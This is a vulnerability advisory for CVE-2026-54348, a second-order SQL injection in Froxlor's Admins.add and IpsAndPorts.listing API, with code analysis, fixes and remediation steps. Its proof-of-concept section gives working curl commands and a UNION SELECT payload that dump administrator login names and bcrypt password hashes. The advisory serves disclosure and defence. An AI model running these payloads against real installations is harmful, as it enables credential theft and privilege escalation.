CVE-2026-54348: Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration
Summary
A second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the paneladmins.ip column via the Admins.add or Admins.update endpoint. The payload executes as a UNION-based SQL injection the next time IpsAndPorts.listing is called by the poisoned account, returning arbitrary data from the database — including all administrator login names and bcrypt password hashes.
---
Details
The vulnerability spans two code locations that form a store-then-trigger chain.
Stage 1 — Unsanitized array stored as JSON — lib/Froxlor/Api/Commands/Admins.php:251,358
php $ipaddress = $this->getParam('ipaddress', true, -1); // No type enforcement or content validation on $ipaddress. // PHP evaluates (isarray([...]) && nonemptyarray > 0) as true, // so any attacker-controlled array is JSON-encoded and stored verbatim. 'ip' => empty($ipaddress) ? "" : (isarray($ipaddress) && $ipaddress > 0 ? jsonencode($ipaddress) // ← attacker payload written to paneladmins.ip : -1),
The INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.
Stage 2 — JSON payload imploded directly into SQL — lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77
php if (!empty($this->getUserDetail('ip')) && $this->getUserDetail('ip') != -1) { // jsondecode restores the array; implode joins elements with no casting or escaping $ipwhere = "WHERE id IN (" . implode(", ", jsondecode($this->getUserDetail('ip'), true)) . ")"; } $resultstmt = Database::prepare( "SELECT FROM panelipsandports " . $ipwhere . ... ); // Final SQL: SELECT FROM panelipsandports WHERE id IN (<PAYLOAD>)
The same unsanitized implode pattern exists in lib/Froxlor/Api/Commands/Domains.php:1016.
Every other place in the codebase that builds dynamic IN clauses uses either integer casting ((int)) or parameterized subqueries. The ip-column path is the sole exception.
---
PoC <img width="2452" height="1476" alt="image" src="https://github.com/user-attachments/assets/2cbff4f8-b316-4a86-95ce-71f5c14d0c95" />
Prerequisites: Valid Froxlor admin API key with changeserversettings = 1.
Step 1 — Poison: store the UNION SELECT payload via Admins.add
bash curl -s -u "APIKEY:SECRET" http://TARGET/api.php \ -H "Content-Type: application/json" \ -d '{ "command": "Admins.add", "params": { "name": "x", "newloginname": "eviladmin", "email": "x@x.local", "adminpassword": "Passw0rd!123", "ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM paneladmins-- -"] } }'
The ip column of paneladmins for eviladmin now contains: ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM paneladmins-- -"]
Step 2 — Trigger: call IpsAndPorts.listing as the poisoned account
No interaction beyond a single API call. Visiting the following URL while authenticated as eviladmin is sufficient:
http://TARGET/adminindex.php?page=ipsandports
Or directly via API:
bash curl -s -u "EVILAPIKEY:EVILSECRET" http://TARGET/api.php \ -H "Content-Type: application/json" \ -d '{"command":"IpsAndPorts.listing"}'
Confirmed output from live instance (localhost:8290):
json { "data": { "list": [ { "ip": "admin", "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" }, { "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" } ] } }
The ip field returns loginname and port returns the bcrypt password hash of every administrator in the database.
Minimum reproduction — two CMD single-line commands:
Step 1: poison (run once with any admin API key that has changeserversettings=1):
cmd curl -su "APIKEY:SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"Admins.add\",\"params\":{\"name\":\"x\",\"newloginname\":\"poc\",\"email\":\"x@x.local\",\"adminpassword\":\"Passw0rd!1\",\"ipaddress\":[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM paneladmins-- -\"]}}"
Step 2: trigger (run with the poisoned account's API key — visiting the page in a browser also suffices):
cmd curl -su "POCAPIKEY:POCSECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"
Confirmed output from live instance (localhost:8290) — step 2 alone:
cmd curl -su "evilkeyabc123:evilsecretxyz456" http://localhost:8290/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"
json { "data": { "list": [ { "ip": "admin", "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" }, { "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" } ] } }
---
Impact
Type: Second-Order SQL Injection (UNION-based)
Who is impacted: Any Froxlor installation with the API enabled and at least one admin account that has changeserversettings = 1. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.
Consequences:
- Full credential dump — all admin and customer login names and bcrypt password hashes are extractable in a single request. - Lateral movement — cracked hashes allow login to other admin accounts or customer accounts. - Data exfiltration — the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys. - Privilege escalation — a reseller admin (limited permissions) can extract the super-admin's credentials and gain full control of the panel.
---
Fix
Option A (recommended) — Integer-cast all elements before implode:
php // lib/Froxlor/Api/Commands/IpsAndPorts.php:72 $ipids = arraymap('intval', jsondecode($this->getUserDetail('ip'), true)); $ipwhere = "WHERE id IN (" . implode(", ", $ipids) . ")";
Option B — Validate at storage time in Admins.add / Admins.update:
php // lib/Froxlor/Api/Commands/Admins.php if (isarray($ipaddress)) { $ipaddress = arrayfilter($ipaddress, 'isnumeric'); } 'ip' => empty($ipaddress) ? "" : (isarray($ipaddress) && count($ipaddress) > 0 ? jsonencode(arraymap('intval', $ipaddress)) : -1),
Apply the same fix to the identical pattern in Domains.php:1016.
---
Other sources
Froxlor is open source server administration software. Prior to 2.3.8, the Admins.add and Admins.update endpoints in lib/Froxlor/Api/Commands/Admins.php accept an attacker-controlled ipaddress array and store it as JSON in paneladmins.ip without enforcing numeric element types. When the poisoned account later calls IpsAndPorts.listing, lib/Froxlor/Api/Commands/IpsAndPorts.php decodes the array and concatenates its elements into a SQL IN clause without casting or parameterization; the same unsafe pattern is present in lib/Froxlor/Api/Commands/Domains.php. An authenticated administrator with changeserversettings permission can store a UNION-based payload and trigger it through the poisoned account to retrieve arbitrary database data, including administrator login names and bcrypt password hashes, with potential privilege escalation and broader database impact. This issue is fixed in version 2.3.8.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/froxlor/froxlorto a version that resolves this vulnerability.Fixed in 2.3.8 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 2.3.8 - Configuration
Ensure only fully trusted administrators retain the `change_serversettings = 1` permission, since the vulnerability requires an authenticated admin API key with this permission to store the malicious `ipaddress` array payload via `Admins.add`/`Admins.update` and later trigger via `IpsAndPorts.listing`.
Froxlor admin API / endpoints Admins.add and Admins.update change_serversettings (required permission for the vulnerable flow) = 1 (ensure only trusted admins have it; remove/deny for others) - Compensating control
Review and rotate any administrator/customer credentials potentially exposed via the UNION-based database exfiltration described (administrator login names and bcrypt password hashes), especially in deployments where a malicious admin API key could have been used to store the payload.
Event History
Frequently Asked Questions
Who can exploit this issue?
Froxlor installations prior to 2.3.8 are affected. Exploitation requires an authenticated administrator account with the change_serversettings permission; the issue is not described as exploitable by an unauthenticated user.
What conditions are needed to trigger the SQL injection?
An attacker must submit a crafted ipaddress array through Admins.add or Admins.update, then cause the poisoned account to call IpsAndPorts.listing. The unsafe SQL pattern is also present in Domains.php.
What should be done if patching is not immediately possible?
Upgrade Froxlor to version 2.3.8, which fixes the issue. If upgrading cannot happen immediately, restrict change_serversettings permission to only fully trusted administrators and review use of the affected administrator-management endpoints.
How can I check for potential exploitation?
Review administrator accounts created or updated through Admins.add or Admins.update for ipaddress data containing non-numeric array elements or unexpected JSON content. Such values may indicate that an account was poisoned for later triggering through listing functionality.